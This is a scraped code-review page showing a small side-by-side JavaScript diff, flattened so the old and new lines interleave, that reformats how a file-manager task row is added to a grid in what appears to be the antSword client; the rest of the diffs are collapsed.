this.grid.addRow( this
hash, [ .grid
.addRow(hash, [
antSword.noxss(name), antSword.noxss(name),
antSword.noxss(desc), antSword.noxss(desc),
`<div id="filemanager_progress_${hash}">-</div>`, `<div id="filemanager_progress_${hash}">-</div>`,
new Date().format('yyyy-MM-dd hh:mm:ss'), new Date().format('yyyy-MM-dd hh:mm:ss'),
`<div id="filemanager_end_time_${hash}">-</div>` `<div id="filemanager_end_time_${hash}">-</div>`
], 0 ], 0);
);
const API = { const API = {
// 更新任务状态 // 更新任务状态
update: (progress) => { update: (progress) => {
......
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
This diff is collapsed.
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment